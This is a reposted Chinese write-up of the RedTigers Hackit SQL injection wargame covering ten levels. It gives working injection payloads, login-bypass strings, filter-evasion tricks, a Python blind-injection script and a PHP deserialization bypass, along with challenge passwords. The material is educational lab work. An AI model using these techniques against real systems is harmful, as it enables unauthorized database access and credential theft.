首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RedTigers Hackit SQL 注入题解

RedTigers Hackit SQL 注入题解

作者头像
用户1631416
发布2018-04-12 13:38:46
2.7K0
发布2018-04-12 13:38:46
举报
文章被收录于专栏:玄魂工作室玄魂工作室

今天在一个QQ群看到有同学做http://redtiger.labs.overthewire.org/上的题目。随手做了几题,发现还有点意思,有的题目我也一时想不到思路。工作忙,没有时间一一测试,搜索发现了 http://blog.spoock.com/2016/07/25/redtiger-writeup/,这篇文章的作者对10个题目做了解答。 答案没有做验证,原题目有可能已经更新,不过思路都可以做参考。

同时要说的是,很多同学拿到答案就失去了思考,没有学习思路,也没有探讨这些注入技巧和思路的本质。这样你是学不到新的东西的。

--------------------------------------------------------------------------------------------------------

以下是原文

--------------------------------------------------------------------------------------------------------

Redtiger Hackit Writeup

发表于 2016-07-25

做了hackinglab上面的SQL注入题目之后,我有发现了一个新的SQL注入的练习平台,RedTigers Hackit。这个平台上面的一幕也是相当的不错的。相比hackinglab上面考察的常规的SQL注入类型的,redtiger上面的题目更多的考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较的简单。redtiger也在wechall上面的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面就可以获取积分了。突然发现了wechall有可以玩好久了。

Level 1

题目链接

Welcome to level 1 Lets start with a simple injection. Target: Get the login for the user Hornoxe Hint: You really need one? omg -_- Tablename: level1_users 发现在http://redtiger.labs.overthewire.org/level1.php?cat=1中的cat是一个注入点,那么接下来就是常规的SQL注入顺序了。得到字段长度,得到显示位,然后按照题目的要求得到用户名和密码。那么最后的payload是:

1

http://redtiger.labs.overthewire.org/level1.php?cat=1 Union select 1,2,username,password from level1_users

Level 2

题目链接

A simple loginbypass Target: Login Hint: Condition

见到登陆的题目就猜解可以使用万能用户名或者是万能密码。在后台对于登陆的SQL语句的编写一般都是下面这种写法。 select * from users where username='[inputname]' and password='[inputpassword]' 常见的万能用户名:

admin' or 1=1%23
admin' or '1'='1
admin' or '1'='1'%23
admin')or('1'='1

常见的万能密码:


2
'or 1%23
')or(1

经过尝试,最终的payload是:

1

username=admin&password='or 1%23&login=Login

Level 3

题目链接

Target: Get the password of the user Admin. Hint: Try to get an error. Tablename: level3_users

这道题目当时没有做出来,是看了别人的writeup之后,才后知后觉的。题目的提示是Try to get an error,那么我们使用usr变为一个数组,然后进行提交。

1

http://redtiger.labs.overthewire.org/level3.php?usr[]=YWJj

然后我们就顺利地得到了一条出错信息了。Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21。关于inc文件,网上查找了一段话。

.inc 文件,顾名思义就是include file,实际上文件的后缀对于文件包含是无所谓,你可以包含一个asp文件,也可以包含txt文。一般我们使用inc作为后缀,是因为这样能体现该文件的作用。

那就说明inc文件可以是任意的文件,我们将inc文件下载下来。查看代码。

<?php
        
    function encrypt($str)
    {
        $cryptedstr = "";
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ 192;
            
            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }
  
    function decrypt ($str)
    {
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";
                
                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s^192;
                    $decStr .= chr($a);
                }
                
                return $decStr;
            }
            return false;
        }
        return false;
    }
?>

这个就是用来对传入的参数的usr进行加密和解密的代码。 既然知道了usr参数的加密和解密算法,那么我们需要做的就是按照常规的SQL注入思路,得到查找字段的长度,得到显示位,然后得到用户名和密码。


#1 得到字段长度
原始语句:http://localhost/test/getuname.php?usr=Admin' order by 7%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=MTI5MTY0MTczMTY5MTc0MjMxMjI0MTc1MTc4MTY0MTY1MTc4MjI0MTYyMTg1MjI0MjQ4MjI3
#得到字段长度是7

#2 得到显示位
原始语句:http://localhost/test/getuname.php?usr=spoock' union select 1,2,3,4,5,6,7%23
加密后:http://redtiger.labs.overthewire.org/level3.php?
usr=MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI3
#得到显示位是2,6,7,5,4

#3 得到用户名和密码
原始语句:http://localhost/test/getuname.php
?usr=spoock' union select 1,password,3,4,5,6,7 from level3_users where username=0x41646d696e%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=
MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjQwMTg0MjQ0MjQxMjQ2MjQ0MjQ2MTY0MjQ2MjQ5MjQ2MTY1MjI3

最终就会得到Admin的密码。 其实这道题目还是考察常规的SQL注入,但是最困难的地方是在于使用usr的数组形式usr[]来进行报错,通过这种报错的方法来得到usr的加密方式,最终来执行自己的payload。看来做这种题目还是需要脑洞大开呀。

Level 4

题目链接

Target: Get the value of the first entry in table level4_secret in column keyword Disabled: like

这道题目看起来是一个布尔盲注。 关于如何进行布尔盲注,可以参考我自己写的文章,SQL注入入门(三),这篇文章就是专门将如何进行布尔盲注的。那么在这里我就不进行说明了直接给出Python盲注代码。

def get_data_char(i):
    url_template = "http://redtiger.labs.overthewire.org/level4.php?id=2 or ascii(substr((select keyword from level4_secret),{0},1))>{1}"
    def exe_get(url):
        cookies={
            "level2login":"easylevelsareeasy_!",
            "level3login":"securitycat_says_meow_and_likes_cheese",
            "level4login":"dont_publish_solutions_GRR!"
        }
        response = requests.get(url,cookies=cookies)
        html = response.text
        match = re.search('0',html)
        # 表示值偏大
        if match:
            return -1
        #表示值偏小
        else:
            return 1
    low,high = 48,126
    while low<=high:
        mid = (low+high)//2
        url = url_template.format(i,mid)
        result = exe_get(url)
        if result>0:
            low = mid+1
        else:
            high=mid-1
        print(low,high,mid)
    print(low)
    return low

def get_data():
    data=""
    for i in range(1,18):
        char=get_data_char(i)
        data += chr(char)
        print(data)
get_data()

最终就可以得到payload了

Level 5

题目链接

Target: Bypass the login Disabled: substring , substr, ( , ), mid Hints: its not a blind, the password is md5-crypted, watch the login errors

题目已经提示了密码是使用md5加密的,那么又是一个比较简单的登陆的md5加密了。唯一不同的是之前要使用order by得到查询字段的长度,然后将其中的一个替换为md5的值。这道题目也是比较的简单,不做过多的解释。直接给出payload:

1

username=a' union select 1,'c4ca4238a0b923820dcc509a6f75849b'%23&password=1&login=Login

Level 6

题目链接

Welcome to Level 6 Target: Get the first user in table level6_users with status 1

通过在测试:

1

http://redtiger.labs.overthewire.org/level6.php?user=1'

页面报错为Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么说明在user字段是存在sql注入的。对于id这样的sql注入方式又是常规的sql注入步骤。

#得到查选的字段数
http://redtiger.labs.overthewire.org/level6.php?user=1 order by 5 %23
#得到字段数是5

得到显示位

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 %23

此时发现程序并没有如期返回显示为,而是返回User not found。于是我有进行了如下的尝试。

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23

页面显示的结果仍然是User not found。这个时候我就比较的郁闷了,理论上应该是有结果的。于是我将其中的1,2,3,4,5修改为username。当我将其中的第二个字段修改为username的时候,页面就可以正常显示了。 但是我试着将其他的字段修改为password,但是我发现无论是将password放在那个显示位,程序都没有发生变化。 那么此时我猜想后台可能是进行了2次SQL语句的查询。以下就是我猜想后台的PHp代码。


$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
#从结果中取出username字段
$username = $row1[1];
$sql2 = "select username,email from level6_users where username="."'".$username."'";

那么我们只需要将username字段进行注入就可以了。我们写的payload为

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23

但是页面最后返回的结果是Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么可能就是因为在username中存在admin1'....这样的语句被后台过滤了,那么尝试使用十六进制来进行绕过。

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23

页面显示的结果如下

这样就知道了admin的密码是m0nsterk1ll

Level 7

题目链接

Target: Get the name of the user who posted the news about google. Table: level7_news column: autor Restrictions: no comments, no substr, no substring, no ascii, no mid, no like

这道题目已经明确地说明了后台程序已经屏蔽了注释、substr()函数,substring()、ascii()函数,mid()函数,like关键字。那么注入过程中这些都是无法使用的。 这道题目表面上看就是一个正常搜索新闻的例子,当我们输入在搜索框中输入内容之后,页面上就会正常的显示搜索的内容。当我输入的文本包含了'的时候,情况就会发生变化。 页面返回的内容是:

页面返回错误,那就说明search关键字存在SQL注入了,同时是一个字符型的注入。通过SQL语句的报错信息,我们还知道后台的SQL语句的写法是:

1

select new.*,text.text,text.title from level7_news news,level7_texts text where text.id=news.id and(text.text like'%searchinput%' or text.title.like '%searchinput%')

这样的SQL语句看起来后台只有使用union子句才能够最终得到目的,那么必须使用注释了。我就尝试使用#,%23的时候:

12

search=1'%)#&dosearch=search%21search=1'%)%23&dosearch=search%21

发现都被过滤了。页面显示的内容都是Some things are disabled! 接下来我用尝试使用–+的方法看是否能够绕过。当我输入的是%2d%2d%2b或者是--+的时候:

12

search=1'%)%2d%2d%2b&dosearch=search%21search=1'%)--+&dosearch=search%21

页面显示的如下内容

而当我输入的是--%20的时候,页面返回的是Some things are disabled!,那说明后台在过滤--+的时候可能存在问题。这个时候只要能够使用--的注释符那么就可以绕过后台的注释符的过滤了。 接下来我使用了%a0来代替后面的空格,那么此时我的输入变为:

1

search=1%')--%a0&dosearch=search%21

页面正常返回内容,那么我就可以使用**--%a0注释后面的内容了。接下来又是常规的思路了,首先得到字段长度,然后得到显示位。

获取字段长度

获取字段长度一般都是使用order by子句来完成的。

1

search=1%') order by 1--%a0&dosearch=search%21

但是当我使用orde by 1的时候,页面显示的是Some things are disabled!!。这个时候有可能是order by被屏蔽了。 接下来我有尝试使用大小写混淆,加入特殊的空格来进行绕过。尝试如下

123456

search=1%')%0aorder%0aby%0a1--%a0&dosearch=search%21 search=1%')%0border%0bby%0b1--%a0&dosearch=search%21search=1%')%0corder%0cby%0c1--%a0&dosearch=search%21 search=1%')%0dorder%0dby%0d1--%a0&dosearch=search%21search=1%')/**/order/**/by/**/1--%a0&dosearch=search%21search=1%')/**/oRdEr/**/bY/**/1--%a0&dosearch=search%21

发现所有的尝试都被会过滤和拦截,都没有效果。

获取显示位

虽然无法通过order by来获取字段长度,我们还可以使用union子句来获取字段长度,同时还能够获取显示位。此时就是看后台后没有过滤union子句。尝试如下:

1

search=1%') union select 1--%a0&dosearch=search%21

页面显示的内容是:

那就说明后台没有过滤union子句,那么也就意味着我们可以使用union子句来得到显示位了。 最终,我得到字段长度是4,显示位是3,4

获取autor内容

在知道了显示位之后,接下来就是需要获取autor的内容了。接下来我们使用如下的语句:

1

search=10000%')union select 1,2,autor,4 from level7_news--%a0&dosearch=search%21

得到了在level7_news中存在的所有的用户名,site_admin、press、TestUserforg00gle、apple

提交答案

根据题目的要求,我猜解TestUserforg00gle就是最终的答案。提交之后,果然是的。

Level 8

题目链接

Target: Get the password of the admin.

通过添加引号进行测试,我发现只有在email=hans%40localhost出添加引号,程序就会报错,在其他的位置加入引号程序都是可以正常地执行的。那么就说明在email=hans%40localhost处存在SQL注入。页面上显示的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345', age = '25' WHERE id = 1' at line 3。根据页面上显示的内容以及报错信息,那么我们猜测这是一个update的语句,后台的SQL语句的写法是:

1

update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

那么如何在update语句中获取我们所想要的信息呢?这个时候就需要利用到在mysql中的update的一个用法了。 如果在update中的语句,我们的写法如下。(我们假设在users表中存在id,username,email,password这4个字段)

1

update users where username=email,password='123456' where username='admin';

那么上面的这sql语句的执行效果就是将username为’admin’的记录修改为username为此记录的email,密码修改为123456。其实在mysql中,如果update语句中有fieldname1=fieldname2这样的语句就会将当前记录的fieldname2的值赋值到fieldname1上面。 知道了上面这个特性之后,那么我们的payload也很高的构造了。

1

email=hans%40localhost',name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit

Level 9

题目链接

Welcome to Level 9 Target: Get username and password of any user. Tablename: level9_users Its not a blind. There is a way to get an output :) payload:

这道题目根据题目的提示一个insert语句。当点击提交查选按钮之后,就会将autor,title和text提交到后台。 测试发现,当给text添加引号时,页面就会报错。测试的payload如下:

1

autor=aa&title=bb&text=cc'&post=%CC%E1%BD%BB%B2%E9%D1%AF

页面上出现的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''cc'')' at line 6Autor: RedTiger。那么我们猜测后台的SQL语句的写法为:

1

insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

那么我们就可以构造如下的payload:

1

autor=aaa&title=bbb&text=123'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456&post=%CC%E1%BD%BB%B2%E9%D1%AF

Level 10

题目链接

Target: Bypass the login. Login as TheMaster

点击页面上的提交按钮,得到提交的数据:

1

login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login

将login的值进行base64decode之后得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。这个起初我也不知道是什么,后来看了别人的writeup之后,才知道是php的序列化之后的字符串的显示。将这段字符串使用反序列化之后得到的值为:

1234

$myarray = array( "username"=>"Monkey", "password"=>"0815password",);

而题目的要求是需要使用用户名为TheMaster进行登陆。尝试将password的值修改为数字123,那么序列化的内容变为a:2:{s:8:"username";s:4:"Dumb";s:8:"password";i:123;},然后进行base64encode之后,发现登陆失败。 那么我猜测后台的php的代码的写法为:

$new = unserialize($_GET["login"]);
$username = "'".$new["username"]."'";
$password = "'".$new["password"]."'";

$username = $new["username"];
$password = $new["password"];
$sql = "select username,password from users where username=$username and password=$password";
$result = mysql_query($sql);
if($result) {
    $row = mysql_fetch_row($result);
    echo $row["username"];
} else {
    echo "error";
}

假设是上面的这个SQL语句,那么其实只需要result存在即可。这个时候方法就有很多了。例如我们只需要将password的属性修改为boolean类型的true,那么就可以绕过检查了。所以payload的形式为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;} 最后将这个字符串进行base64编码,YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。得到就是最终的payload。

总结

相对来说这个比hackinglab上面的SQL注入的题目类型以及考察的知识点要更加的丰富。做了这个上面的题目,我才发现其实SQL注入考察不仅仅是常见的注入类型的考察,有时候你还需要去猜测后台的php的代码的编写,后台的逻辑代码的编写,只有这样才有可能会做对这些题目。总之,还是收获了很多,还需要学习的内容也有很多。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Redtiger Hackit Writeup
    • Level 1
      • Level 2
        • Level 3
          • Level 4
            • Level 5
              • Level 6
                • Level 7
                  • Level 8
                    • Level 9
                      • Level 10
                        • 总结
                        相关产品与服务
                        云数据库 MySQL
                        腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档